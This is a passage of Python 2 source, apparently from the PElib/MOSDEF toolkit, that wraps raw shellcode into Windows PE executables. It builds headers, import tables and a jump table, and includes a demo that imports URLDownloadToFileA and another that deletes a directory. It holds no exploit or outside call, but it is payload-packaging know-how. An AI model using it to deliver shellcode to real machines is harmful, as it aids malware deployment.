imgOpt.SizeOfImage = 0xc # ? 917 918 imgOpt.SizeOfHeaders = code_offset 919 imgOpt.NumberOfRvaAndSizes = 0x10 920 921 # Import Directory 922 923 directories[1].VirtualSize=directories[1].Size = idx - import_offset 924 directories[1].VirtualAddress= import_offset 925 926 # code and data 927 code.VirtualAddress = code_offset 928 code.VirtualSize= code.SizeOfRawData = imgOpt.SizeOfCode 929 code.PointerToRawData = code_offset 930 931 data.VirtualAddress = data_offset 932 data.VirtualSize = data.SizeOfRawData = idx - data_offset #len(data_buf) 933 data.PointerToRawData = data_offset 934 935 imgOpt.SizeOfImage = idx # code.SizeOfRawData + data.SizeOfRawData 936 937 # Fixing imports with thunk info 938 for a in range(0, len(imports)-1): 939 imports[a][0].OriginalFirstThunk= original_thunk[a] 940 imports[a][0].FirstThunk= first_thunk[a] 941 imports[a][0].Name = import_str_offset + imports[a][1] 942 943 944 # RAWing... 945 buf = mz.raw() + struct.pack("L", PE_MAGIC) +imgHdr.raw() + imgOpt.raw() 946 for a in directories: 947 buf+= a.raw() 948 buf+= code.raw() 949 buf+= data.raw() 950 buf+= firstpad 951 buf+= shellcode 952 buf+= secondpad 953 buf+= data_buf 954 955 for a in imports: 956 buf+= a[0].raw() 957 buf+= import_str 958 959 # ORIGINAL THUNK 960 for a in IIBN: 961 for b in a: # Listing function 962 buf+=struct.pack("L",b[1]) 963 buf+=struct.pack("L",0x0) 964 965 # FIRST THUNK 966 for a in IIBN: 967 for b in a: # Listing function 968 buf+=struct.pack("L",b[1]) 969 buf+=struct.pack("L",0x0) 970 971 # IIBN 972 for a in IIBN: 973 for b in a: 974 buf+= b[0].raw() 975 buf+= endpad 976 977 return buf
978 979 980 # For MOSDEF
981 - def createMOSDEFPE(self, filename, code, vars={}):
982 from win32peresolver import win32peresolver 983 # shellcode, importante=[ ("advapi32.dll", ["RevertToSelf"])] ): 984 985 # Mixing MOSDEF with PElib. 986 # Concerning Mosdef: 987 # Basically, we have a win32peresolver that pass some fixed address (that would be our PE PLT) 988 # and thats returned to the compile code. The win32peresolver put all this address on a cached. 989 # 990 # Concerning PE 991 # First of all, we need to compile before everything, cause we need the list of imported functions 992 # So, we send mosdef a hardcoded address(0x401A0) offset: 0x1A0 which is where the .text section start. 993 # At that address, will be our PLT (jmp *(IAT_entry)), so we have to point the Entry Address to 994 # .code + function_number * sizeof(jmp *(IAT_entry)). So we land on the begging on the shellcode. 995 # 996 # To discover where the IAT would be (we need to know this, before creating the PLT), we need to calculate 997 # where the First thunk 998 # 999 # buf+= secondpad 1000 # buf+= data_buf 1001 # 1002 # for a in imports: 1003 # buf+= a[0].raw() 1004 # buf+= import_str 1005 # 1006 # # ORIGINAL THUNK 1007 # for a in IIBN: 1008 # for b in a: # Listing function 1009 # buf+=struct.pack("L",b[1]) 1010 # buf+=struct.pack("L",0x0) 1011 # # FIRST THUNK 1012 # for a in IIBN: 1013 # for b in a: # Listing function 1014 # buf+=struct.pack("L",b[1]) 1015 # buf+=struct.pack("L",0x0) 1016 1017 # side note: .code must be aligned 1018 1019 image_base = 0x40000 1020 plt_len = len(mosdef.assemble("jmp *(0x01020304)", "X86")) 1021 plt_entry = 0x1A0 + image_base 1022 1023 w=win32peresolver(plt_entry) 1024 w.setPLTEntrySize(plt_len) 1025 1026 shellcode = w.compile(code, vars) 1027 1028 # We need to pass the functioncache[func] = address into [ ("advapi32.dll", ["RevertToSelf"])] format 1029 # Yeah, probably you can do it better or with one fancy python line 1030 dll={} 1031 func_by_addr = {} 1032 functions_num=0 1033 1034 1035 for a in w.remotefunctioncache.keys(): 1036 s = a.split("|") 1037 if dll.has_key( s[0] ): 1038 dll[s[0] ].append(s[1]) 1039 else: 1040 dll[ s[0] ] = [ s[1] ] 1041 functions_num+=1 1042 func_by_addr[a] = w.remotefunctioncache[a] 1043 1044 importante = [] 1045 for a in dll.keys(): 1046 importante.append( (a, dll[a]) ) 1047 shellcode = "\x90" * ( plt_len * functions_num) + shellcode 1048 1049 # So, by now we have important in the fancy format [ ('dll name', ['functions'] ) ] 1050 # And also, func_by_addr = {dllname!function]: function_plt }, and also functions_num has the size of functions 1051 1052 1053 1054 idx= 0 1055 # MZ 1056 mz = MZ() 1057 mz.e_lfanew = mz.getSize() 1058 1059 idx+= mz.getSize() 1060 1061 # PE Image Header 1062 imgHdr = IMGhdr() 1063 imgHdr.Machine = 0x014c # i386 1064 imgHdr.NumberOfSections = 0x2 # Code and data for now (Maybe we can do it only one) 1065 imgHdr.Characteristics = 0x0102 # Executable on 32-bit machine 1066 1067 idx += imgHdr.getSize() + 4 # for PE_MAGIC 1068 1069 # Optional Header 1070 imgOpt = IMGOPThdr() 1071 imgOpt.SectionAlignment = 0x20 # Thats our aligment 1072 imgOpt.FileAlignment = 0x20 1073 imgOpt.MajorOperatingSystemVersion = 0x4 # NT4.0 1074 imgOpt.MajorSubsystemVersion = 0x4 # Win32 4.0 1075 imgOpt.Subsystem = 0x3 1076 imgOpt.SizeOfStackReserve = 0x100000 1077 imgOpt.SizeOfStackCommit = 0x1000 1078 imgOpt.SizeOfHeapReserve = 0x100000 1079 imgOpt.SizeOfHeapCommit = 0x1000 1080 imgOpt.NumberOfRvaAndSizes= 0x10 1081 1082 idx += imgOpt.getSize() 1083 1084 # Directories 1085 directories=[] 1086 for a in range(0, imgOpt.NumberOfRvaAndSizes): 1087 directories.append(Directory()) 1088 1089 idx+= directories[0].getSize() * 16 1090 1091 # .code section 1092 code = Section() 1093 code.Name = ".text" 1094 code.Characteristics = 0x60000020L # Code | Executable | Readable 1095 idx+= code.getSize() 1096 1097 # .data section 1098 data = Section() 1099 data.Name = ".data" 1100 data.Characteristics = 0xc0000040L # Initialized | Readable | Writeable 1101 1102 idx += data.getSize() 1103 1104 code_offset = self.align(idx, imgOpt.FileAlignment) 1105 firstpad= "\0" * (code_offset - idx) 1106 idx=code_offset 1107 1108 # we can fill data_buf with our data and that will be loaded into mem :> 1109 idx+= len(shellcode) 1110 data_offset = self.align(idx, imgOpt.FileAlignment) 1111 secondpad= "\0" * (data_offset - idx) 1112 idx = data_offset 1113 data_buf ="" 1114 idx+= len(data_buf) 1115 1116 # Creating the list of ImportDescriptors 1117 import_offset =idx 1118 imports=[] 1119 ndx= 0 1120 import_str="" 1121 1122 for a in importante: 1123 i= ImportDescriptor() 1124 i.ForwarderChain= 0xFFFFFFFFL 1125 imports.append( (i, ndx)) 1126 1127 ndx+=len(a[0]+"\0") # We put on NDX, an index of the name string, so at the end 1128 # to find a string, we will do import_str_offset + this_index 1129 1130 import_str += a[0] + "\0" # Collecting dll names 1131 1132 # The final importdescriptor 1133 imports.append((ImportDescriptor(), 0)) 1134 idx+= i.getSize() * len(imports) 1135 1136 import_str_offset = idx 1137 idx+= len(import_str) 1138 1139 off = self.align(idx, imgOpt.FileAlignment) 1140 import_str+="\0" * (off-idx) 1141 idx = off 1142 1143 # Original Thunks 1144 original_thunks_offset = idx 1145 original_thunk=[] 1146 1147 for a in importante: 1148 original_thunk.append(idx) 1149 1150 idx+= len(a[1]) * 4 + 4 1151 1152 # First thunk offset 1153 first_thunks_offset = idx 1154 first_thunk=[] 1155 plt_ndx = 0x1A0 1156 for a in importante: 1157 first_thunk.append(idx) 1158 for b in a[1]: 1159 dupla = "%s|%s" % (a[0], b) 1160 1161 if not func_by_addr.has_key(dupla): 1162 raise PEError, "Error on Thunk" 1163 func_by_addr[ func_by_addr[dupla] ] = "jmp *(0x%08x)\n" % (idx+ image_base) 1164 idx+=4 1165 idx+= 4 1166 # crafting a PLT 1167 PLT="" 1168 for a in range(plt_entry, plt_entry+ plt_len* functions_num, plt_len): 1169 if not func_by_addr.has_key(a): 1170 raise PEError, "func_by_addr doesn't have a PLT address (%x)" % a 1171 PLT+= mosdef.assemble(func_by_addr[a], "X86") 1172 shellcode = PLT + shellcode[plt_len* functions_num:] 1173 print "Shellcode size (with PLT): %d" % len(shellcode) 1174 1175 1176 # Creating IIBN 1177 IIBN=[] 1178 for a in importante: 1179 tbl=[] 1180 IIBN.append(tbl) 1181 for b in a[1]: 1182 iibn = ImageImportByName() 1183 iibn.Name = b #"RevertToSelf" 1184 iibn.Hint = 1 1185 tbl.append((iibn, idx)) 1186 idx+=iibn.getSize() 1187 1188 endpad= "\0" * (self.align(idx, imgOpt.FileAlignment) - idx) 1189 1190 # Filling the gaps 1191 imgOpt.SizeOfCode = len(shellcode) + len(secondpad) 1192 imgOpt.BaseOfCode = code_offset 1193 # Entry point = code_offset + PLT_entry size 1194 imgOpt.AddressOfEntryPoint = code_offset + plt_len * functions_num 1195 1196 imgOpt.BaseOfData = data_offset 1197 imgOpt.ImageBase = image_base 1198 imgOpt.SizeOfInitializedData = 0x20 1199 imgOpt.SizeOfImage = 0xC # 1200 1201 imgOpt.SizeOfHeaders = code_offset 1202 imgOpt.NumberOfRvaAndSizes = 0x10 1203 1204 # Import Directory 1205 1206 directories[1].VirtualSize=directories[1].Size = idx - import_offset 1207 directories[1].VirtualAddress= import_offset 1208 1209 # code and data 1210 code.VirtualAddress = code_offset 1211 code.VirtualSize= code.SizeOfRawData = imgOpt.SizeOfCode 1212 code.PointerToRawData = code_offset 1213 1214 data.VirtualAddress = data_offset 1215 data.VirtualSize = data.SizeOfRawData = idx - data_offset #len(data_buf) 1216 data.PointerToRawData = data_offset 1217 1218 imgOpt.SizeOfImage = idx # 1219 1220 # Fixing imports with thunk info 1221 for a in range(0, len(imports)-1): 1222 imports[a][0].OriginalFirstThunk= original_thunk[a] 1223 imports[a][0].FirstThunk= first_thunk[a] 1224 imports[a][0].Name = import_str_offset + imports[a][1] 1225 1226 1227 # RAWing... 1228 buf = mz.raw() + struct.pack("L", PE_MAGIC) +imgHdr.raw() + imgOpt.raw() 1229 for a in directories: 1230 buf+= a.raw() 1231 buf+= code.raw() 1232 buf+= data.raw() 1233 buf+= firstpad 1234 buf+= shellcode 1235 buf+= secondpad 1236 buf+= data_buf 1237 1238 for a in imports: 1239 buf+= a[0].raw() 1240 buf+= import_str 1241 1242 # ORIGINAL THUNK 1243 for a in IIBN: 1244 for b in a: # Listing function 1245 buf+=struct.pack("L",b[1]) 1246 buf+=struct.pack("L",0x0) 1247 1248 # FIRST THUNK 1249 for a in IIBN: 1250 for b in a: # Listing function 1251 buf+=struct.pack("L",b[1]) 1252 buf+=struct.pack("L",0x0) 1253 1254 # IIBN 1255 for a in IIBN: 1256 for b in a: 1257 buf+= b[0].raw() 1258 buf+= endpad 1259 1260 # Done, dumping to a file 1261 f=open(filename, "wb") 1262 f.write(buf) 1263 f.close() 1264 return len(buf)
1265
1266 -def usage(name):
1267 print "usage: %s -f <file> [-O -W]" % name 1268 print "\t -O inspect the file given by -f" 1269 print "\t -W create a .exe using createShellcode" 1270 print "\t -E create a .exe using MOSDEF code" 1271 sys.exit(0)
1272 1273 if __name__ == "__main__": 1274 import getopt, sys 1275 args= sys.argv[1:] 1276 OPEN = 0x1 1277 WRITE = 0x2 1278 EXAMPLE = 0x3 1279 p=PElib() 1280 1281 what=0 1282 file="" 1283 try: 1284 opts, args = getopt.getopt(args, "f:OWE") 1285 except: 1286 print "Error in Arguments" 1287 usage(sys.argv[0]) 1288 for o,a in opts: 1289 if o == '-f': 1290 file=a 1291 if o == '-O': 1292 what =OPEN 1293 if o == '-W': 1294 what = WRITE 1295 if o == '-E': 1296 what = EXAMPLE 1297 if file: 1298 if what == OPEN: 1299 p.openfile(file) 1300 elif what == WRITE: 1301 shellcode=p.createShellcode() 1302 imports = [ ("advapi32.dll", ["RevertToSelf", "AccessCheck"]), ("urlmon.dll", ["URLDownloadToFileA", "FindMediaType" ]) ] 1303 1304 p.createPE(file, shellcode, imports) 1305 1306 elif what == EXAMPLE: 1307 vars={} 1308 vars["filename"]="boo" 1309 1310 code=""" 1311 //start of code 1312 #import "remote", "kernel32.dll|GetProcAddress" as "getprocaddress" 1313 #import "remote", "kernel32.dll|RemoveDirectoryA" as "RemoveDirectory" 1314 #import "remote", "kernel32.dll|ExitProcess" as "exit" 1315 #import "string", "filename" as "filename" 1316 1317 void main() 1318 { 1319 int i; 1320 i = RemoveDirectory(filename); 1321 i = exit(0); 1322 } 1323 """ 1324 1325 1326 p.createMOSDEFPE(file, code, vars) 1327 1328 else: 1329 usage(sys.argv[0]) 1330 else: 1331 1332 usage(sys.argv[0]) 1333 1334 1335 #self._openPE() 1336